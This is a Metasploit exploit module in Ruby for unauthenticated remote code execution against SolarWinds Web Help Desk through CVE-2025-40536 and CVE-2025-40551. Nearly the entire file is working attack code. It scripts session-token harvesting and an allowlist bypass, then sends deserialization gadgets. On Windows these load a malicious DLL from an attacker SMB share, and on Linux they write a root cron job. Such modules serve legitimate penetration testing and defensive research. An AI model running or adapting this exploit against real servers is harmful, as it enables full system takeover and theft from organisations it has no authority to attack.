SolarWinds Web Help Desk Unauthenticated Remote Code Execution
##
# This module SolarWinds Web Help Desk Unauthenticated Remote Code Execution
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::JndiInjection
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::EXE
include Msf::Exploit::Retry
def initialize(info = {})
super(
update_info(
info,
'Name' => 'SolarWinds Web Help Desk unauthenticated RCE',
'Description' => %q{
This module exploits an access control bypass vulnerability (CVE-2025-40536) and an unsafe deserialization
vulnerability (CVE-2025-40551) to achieve unauthenticated RCE against a vulnerable SolarWinds Web Help Desk (WHD)
server.
},
'License' => MSF_LICENSE,
'Author' => [
'Jimi Sebree', # Original finder @ horizon3.ai
'sfewer-r7' # MSF module (Based on the Nuclei template by horizon3.ai)
],
'References' => [
# Access control bypass vulnerability
['CVE', '2025-40536'],
# Unsafe deserialization for RCE
['CVE', '2025-40551'],
# Vendor advisory
['URL', 'https://documentation.solarwinds.com/en/success_center/whd/content/release_notes/whd_2026-1_release_notes.htm'],
# Technical analysis from horizon3.ai
['URL', 'https://horizon3.ai/attack-research/cve-2025-40551-another-solarwinds-web-help-desk-deserialization-issue/']
],
'DisclosureDate' => '2026-01-28',
'Privileged' => true, # Runs as "NT AUTHORITY\SYSTEM" by default on a Windows install.
'Platform' => ['win', 'unix', 'linux'],
'Arch' => [ARCH_X64, ARCH_CMD],
'Targets' => [
[
'WHD 12.8.* on Windows (Native code payload)', {
'VersionStart' => '12.8',
'Platform' => 'win',
'Arch' => ARCH_X64 # Ships as a Java application running in a x64 java.exe process
}
],
[
'WHD 12.8.* on Linux (Command payload)', {
'VersionStart' => '12.8',
'Platform' => ['unix', 'linux'],
'Arch' => ARCH_CMD,
'Payload' => {
'BadChars' => '\''
},
'WfsDelay' => 90 # cron can take ~1 minute
}
],
[
'WHD 12.7.* on Windows (Command payload)', {
'VersionStart' => '12.7',
'GadgetChain' => 'CommonsBeanutils1',
'Platform' => 'win',
'Arch' => ARCH_CMD
}
],
[
'WHD 12.7.* on Linux (Command payload)', {
'VersionStart' => '12.7',
'GadgetChain' => 'CommonsBeanutils1', # Tested against Web Help Desk version 12.7.11.1182 (linux)
'Platform' => ['unix', 'linux'],
'Arch' => ARCH_CMD
}
],
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 8443,
'SSL' => true
},
'Notes' => {
# For the 12.8.* target on Windows, the service may crash and restart so we use a stability of
# CRASH_SERVICE_RESTARTS, but for all the other targets the stability is CRASH_SAFE.
'Stability' => [CRASH_SERVICE_RESTARTS],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS] # C:\Program Files\WebHelpDesk\log\whd.log
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path', '/'])
])
end
def check
session_ctx = step1_initial_session
CheckCode::Vulnerable("Detected Web Help Desk version #{session_ctx[:version]} (#{session_ctx[:platform]}).")
rescue Msf::Exploit::Failed => e
CheckCode::Unknown(e.to_s)
end
def exploit
print_status('Step 1 - Initial session...')
session_ctx = step1_initial_session
# Verify the remote target matches the expectations for the Metasploit target's version and platform...
fail_with(Failure::BadConfig, "Remote target is running version #{session_ctx[:version]}, current Metasploit target gadget chain is for version #{target['VersionStart']}.*. Set a different target.") unless session_ctx[:version].start_with? target['VersionStart']
case target['Platform']
when 'win'
fail_with(Failure::BadConfig, "Remote target is running on #{session_ctx[:platform]} but Metasploit target platform is #{target['Platform']}. Set a different target.") unless session_ctx[:platform] == :windows
when ['unix', 'linux']
fail_with(Failure::BadConfig, "Remote target is running on #{session_ctx[:platform]} but Metasploit target platform is #{target['Platform']}. Set a different target.") unless session_ctx[:platform] == :linux
else
fail_with(Failure::BadConfig, "Unexpected target platform #{target['Platform']}. Set a different target.")
end
session_ctx[:service] = get_target_service(session_ctx)
print_status('Step 2 - Login pref page...')
external_auth_container = step2_login_pref_page(session_ctx)
print_status('Step 3 - Trigger SAML object...')
step3_trigger_saml_object(session_ctx, external_auth_container)
print_status('Step 4 - Create JSON RPC bridge...')
jsonrpc_client = step4_create_jsonrpc_bridge(session_ctx)
print_status('Step 5 - Unsafe deserialization...')
get_target_gadgets(session_ctx).each do |gadget|
print_status(" Executing gadget - #{gadget[:title]}")
step5_trigger_unsafe_deserialization(session_ctx, jsonrpc_client, gadget[:json_data], return_early: true)
Rex::ThreadSafe.sleep(2)
end
# block untill we get a session, so we dont tear down the SMB/LDAP service prematurly.
retry_until_truthy(timeout: datastore['WfsDelay']) do
!handler_enabled? || session_created?
end
unless session_ctx[:service].nil?
session_ctx[:service].cleanup
end
handler
ensure
cleanup_service
end
class SimpleSMBShareWrapper < ::Msf::Exploit
include ::Msf::Exploit::Remote::SMB::Server::Share
end
def get_target_service(session_ctx)
if target['VersionStart'] == '12.7'
start_service
return nil
end
# For 12.8.* targets on Windows, our gadget will force a native code library (a DLL) to be loaded from a UNC path
# over SMB. We need to spin up an SMB server with a share to satisfy this. As we already
# include Msf::Exploit::Remote::JndiInjection we cannot also include Msf::Exploit::Remote::SMB::Server::Share. To
# overcome this, we wrap the SMB server mixin in a new Exploit class, and instantiate it separately.
return nil unless target['VersionStart'] == '12.8' && session_ctx[:platform] == :windows
if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0
fail_with(Exploit::Failure::BadConfig, 'The SRVHOST option must be set to a routable IP address.')
end
# NOTE: It has to be TCP port 445 for SMB, so we don't expose this port number to the user as an option.
print_status("Serving a malicious extension over an SMB share on #{datastore['SRVHOST']} (SMB on TCP port 445)")
smb_service = SimpleSMBShareWrapper.new
smb_service.datastore['SRVPORT'] = 445
smb_service.datastore['SRVHOST'] = datastore['SRVHOST']
smb_service.setup
smb_service.file_contents = generate_payload_dll
smb_service.file_name += '.dll'
smb_service.start_service({
'ServerPort' => 445,
'ServerHost' => datastore['SRVHOST']
})
smb_service
end
def get_target_gadgets(session_ctx)
gadgets = []
if target['VersionStart'] == '12.7'
# Tested against Web Help Desk version 12.7.11.1182 running on Linux.
print_status("Malicious JNDI URL: #{jndi_string}")
gadgets.push({
title: 'Malicious JNDI lookup via ch.qos.logback.core.db.JNDIConnectionSource',
json_data: {
'javaClass' => 'ch.qos.logback.core.db.JNDIConnectionSource', # logback-core.jar
'jndiLocation' => jndi_string
}
})
elsif target['VersionStart'] == '12.8'
# We first need to register the org.sqlite.JDBC driver so we can use it, as it may have not already
# been registered. By instantiating org.sqlite.JDBC, the classes static initializer will register the driver.
gadgets.push({
title: 'Registering the org.sqlite.JDBC driver',
json_data: {
'javaClass' => 'org.sqlite.JDBC'
}
})
if session_ctx[:platform] == :windows
print_status("Malicious SQLite extension UNC: #{session_ctx[:service].unc}")
# With the org.sqlite.JDBC driver available, we leverage com.zaxxer.hikari.HikariDataSource to create a sqlite
# connection. We use a sqlite in-memory database to avoid touching disk, and we leverage the enable_load_extension
# pragma to allow us to load arbitrary native code extensions. Hikari allows us to execute arbitrary SQL statement
# when a new database connection is opened. We use this to load a malicious extension that contains a Metasploit
# native code payload.
#
# Tested against Web Help Desk version 12.8.8.2528 running on Windows Server 2022 (NOTE: If you are using
# the default Metasploit payloads you will have to disable Defender while testing, alternatively bring your
# own payloads).
gadgets.push({
title: 'Loading malicious extension over SMB',
json_data: {
'javaClass' => 'com.zaxxer.hikari.HikariDataSource',
'driverClassName' => 'org.sqlite.SQLiteDataSource',
'jdbcUrl' => 'jdbc:sqlite::memory:?enable_load_extension=true',
'connectionInitSql' => "SELECT load_extension('#{session_ctx[:service].unc}');"
}
})
elsif session_ctx[:platform] == :linux
# Leveraging a dirty file write viw SQLite to a cronjob has been shown to work against some cron daemons:
# https://kiddo-pwn.github.io/blog/2025-11-30/writing-sync-popping-cron
# However when testing against an Ubuntu system, I get the syslog error:
# cron[427]: Error: bad minute; while reading /etc/cron.d/hax_5
#
random_name = Rex::Text.rand_text_alpha(8)
gadgets.push({
title: "Creating file in /etc/cron.d/#{random_name}",
json_data: {
'javaClass' => 'com.zaxxer.hikari.HikariDataSource',
'driverClassName' => 'org.sqlite.SQLiteDataSource',
'jdbcUrl' => "jdbc:sqlite:/etc/cron.d/#{random_name}",
'connectionInitSql' => 'CREATE TABLE a (b TEXT UNIQUE);'
}
})
gadgets.push({
title: "Dirty file write to /etc/cron.d/#{random_name}",
json_data: {
'javaClass' => 'com.zaxxer.hikari.HikariDataSource',
'driverClassName' => 'org.sqlite.SQLiteDataSource',
'jdbcUrl' => "jdbc:sqlite:/etc/cron.d/#{random_name}",
'connectionInitSql' => "INSERT OR IGNORE INTO a (b) VALUES ('\n* * * * * root #{payload.encoded}\n');"
}
})
end
else
fail_with(Failure::BadConfig, "Unexpected target version #{target['VersionStart']}. Set a different target.")
end
end
# By default, Metasploit will use BeanFactory, but we want CommonsBeanutils1. The gadget chain used here is left
# as a target option so we can add new targets (i.e. specific versions of WHD) with ease.
def build_ldap_search_response_payload
build_ldap_search_response_payload_inline(target['GadgetChain'])
end
def step1_initial_session
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'helpdesk', 'WebObjects', 'Helpdesk.woa'),
'headers' => {
'x-webobjects-recording' => '1'
}
)
fail_with(Failure::UnexpectedReply, 'Step 1 - Connection failed') unless res
fail_with(Failure::UnexpectedReply, "Step 1 - Unexpected response code #{res.code}") unless res.code == 200
m = res.body.match(%r{"/helpdesk/\w+/\w+\.css\?v=([\d_]+)"})
fail_with(Failure::UnexpectedReply, 'Step 1 - Failed to extract version') unless m
version = m[1].gsub('_', '.')
vprint_status("Version: #{version}")
m = res.body.match(%r{src="/helpdesk/WebObjects/Helpdesk\.woa/wr\?wodata=(jar[^"]+)"})
fail_with(Failure::UnexpectedReply, 'Step 1 - Failed to extract resource path') unless m
resource_path = Rex::Text.uri_decode(m[1])
# jar:file:////C:/Program%20Files/WebHelpDesk/bin/webapps/helpdesk/WEB-INF/lib/Ajax.jar!/WebServerResources/prototype.js
# jar:file:///usr/local/webhelpdesk/bin/webapps/helpdesk/WEB-INF/lib/Ajax.jar!/WebServerResources/prototype.js
platform = if resource_path =~ %r{file:////.:/}
:windows
else
resource_path =~ %r{file:///Applications/} ? :mac : :linux
end
vprint_status("Platform: #{platform}")
cookies = res.get_cookies
jsessionid = cookies.scan(/JSESSIONID=([A-Za-z0-9]+);*/).flatten[0] || nil
fail_with(Failure::UnexpectedReply, 'Step 1 - Failed to get JSESSIONID') unless jsessionid
vprint_status("JSESSIONID: #{jsessionid}")
xsrf_token = cookies.scan(/XSRF-TOKEN=([A-Za-z0-9-]+);*/).flatten[0] || nil
fail_with(Failure::UnexpectedReply, 'Step 1 - Failed to get XSRF-TOKEN') unless xsrf_token
vprint_status("XSRF-TOKEN: #{xsrf_token}")
x_webobjects_session_id = res.headers['x-webobjects-session-id']&.to_s
fail_with(Failure::UnexpectedReply, 'Step 1 - Failed to get x-webobjects-session-id') unless x_webobjects_session_id
vprint_status("x-webobjects-session-id: #{x_webobjects_session_id}")
{
version: version,
platform: platform,
jsessionid: jsessionid,
xsrf_token: xsrf_token,
x_webobjects_session_id: x_webobjects_session_id
}
end
def step2_login_pref_page(session_ctx)
res = send_request_cgi(
'method' => session_ctx[:version].start_with?('12.8') ? 'GET' : 'POST',
'uri' => normalize_uri(target_uri.path, 'helpdesk', 'WebObjects', 'Helpdesk.woa', 'wo', "#{Rex::Text.rand_text_alpha(8)}.wo", session_ctx[:x_webobjects_session_id], '1.0'),
'headers' => {
'X-Xsrf-Token' => session_ctx[:xsrf_token],
'Cookie' => "JSESSIONID=#{session_ctx[:jsessionid]}"
},
'vars_get' => {
Rex::Text.rand_text_alpha(8) => '/ajax/',
'wopage' => 'LoginPref'
}
)
fail_with(Failure::UnexpectedReply, 'Step 2 - Connection failed') unless res
fail_with(Failure::UnexpectedReply, "Step 2 - Unexpected response code #{res.code}") unless res.code == 200
m = res.body.match(%r{id="externalAuthContainer" updateUrl="/(helpdesk/WebObjects/Helpdesk\.woa/ajax/\d+\.\d+)})
fail_with(Failure::UnexpectedReply, 'Step 2 - Failed to extract externalAuthContainer') unless m
external_auth_container = m[1]
vprint_status("externalAuthContainer: #{external_auth_container}")
external_auth_container
end
def step3_trigger_saml_object(session_ctx, external_auth_container)
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, external_auth_container),
'headers' => {
'X-Xsrf-Token' => session_ctx[:xsrf_token],
'Cookie' => "JSESSIONID=#{session_ctx[:jsessionid]}"
},
'data' => "0.7.1.3.1.0.0.0.1.1.0=1&_csrf=#{session_ctx[:xsrf_token]}"
)
fail_with(Failure::UnexpectedReply, 'Step 3 - Connection failed') unless res
fail_with(Failure::UnexpectedReply, "Step 3 - Unexpected response code #{res.code}") unless res.code == 200
end
def step4_create_jsonrpc_bridge(session_ctx)
res = send_request_cgi(
'method' => session_ctx[:version].start_with?('12.8') ? 'GET' : 'POST',
'uri' => normalize_uri(target_uri.path, 'helpdesk', 'WebObjects', 'Helpdesk.woa', 'wo', "#{Rex::Text.rand_text_alpha(8)}.wo", session_ctx[:x_webobjects_session_id], '1.0'),
'headers' => {
'X-Xsrf-Token' => session_ctx[:xsrf_token],
'Cookie' => "JSESSIONID=#{session_ctx[:jsessionid]}"
},
'vars_get' => {
Rex::Text.rand_text_alpha(8) => '/ajax/',
'wopage' => 'LoginPref'
}
)
fail_with(Failure::UnexpectedReply, 'Step 4 - Connection failed') unless res
fail_with(Failure::UnexpectedReply, "Step 4 - Unexpected response code #{res.code}") unless res.code == 200
m = res.body.match(%r{JSONRpcClient\('/helpdesk/WebObjects/Helpdesk\.woa/ajax/([\d.]+)'\);})
fail_with(Failure::UnexpectedReply, 'Step 4 - Failed to extract JSONRpcClient') unless m
jsonrpc_client = m[1]
vprint_status("JSONRpcClient: #{jsonrpc_client}")
jsonrpc_client
end
def step5_trigger_unsafe_deserialization(session_ctx, jsonrpc_client, json_data, return_early: false)
random_id = rand(1..0xffff)
random_name = Rex::Text.rand_text_alpha(8)
# whd-core.jar!com.macsdesign.util.MDSApplication.isWhitelisted
allowlist = [
'parentpopup', 'wonoselectionstring', 'dummy', 'mdssubmitlink', 'mdsform__enterkeypressed',
'mdsform__shiftkeypressed', 'mdsform__altkeypressed', '_csrf'
]
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'helpdesk', 'WebObjects', 'Helpdesk.woa', 'wo', jsonrpc_client),
'headers' => {
'X-Xsrf-Token' => session_ctx[:xsrf_token],
'Cookie' => "JSESSIONID=#{session_ctx[:jsessionid]}"
},
'data' => {
Rex::Text.rand_text_alpha(8) => "java.#{allowlist.shuffle.join}",
'id' => random_id,
'method' => 'wopage.setVariableValueForName',
'params' => [
random_name,
json_data
]
}.to_json
)
fail_with(Failure::UnexpectedReply, 'Step 5A - Connection failed') unless res
fail_with(Failure::UnexpectedReply, "Step 5A - Unexpected response code #{res.code}") unless res.code == 200
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'helpdesk', 'WebObjects', 'Helpdesk.woa', 'wo', jsonrpc_client),
'headers' => {
'X-Xsrf-Token' => session_ctx[:xsrf_token],
'Cookie' => "JSESSIONID=#{session_ctx[:jsessionid]}"
},
'data' => {
Rex::Text.rand_text_alpha(8) => "java.#{allowlist.shuffle.join}",
'id' => random_id,
'method' => 'wopage.variableValueForName',
'params' => [random_name]
}.to_json
)
unless return_early
fail_with(Failure::UnexpectedReply, 'Step 5B - Connection failed') unless res
fail_with(Failure::UnexpectedReply, "Step 5B - Unexpected response code #{res.code}") unless res.code == 200
end
end
end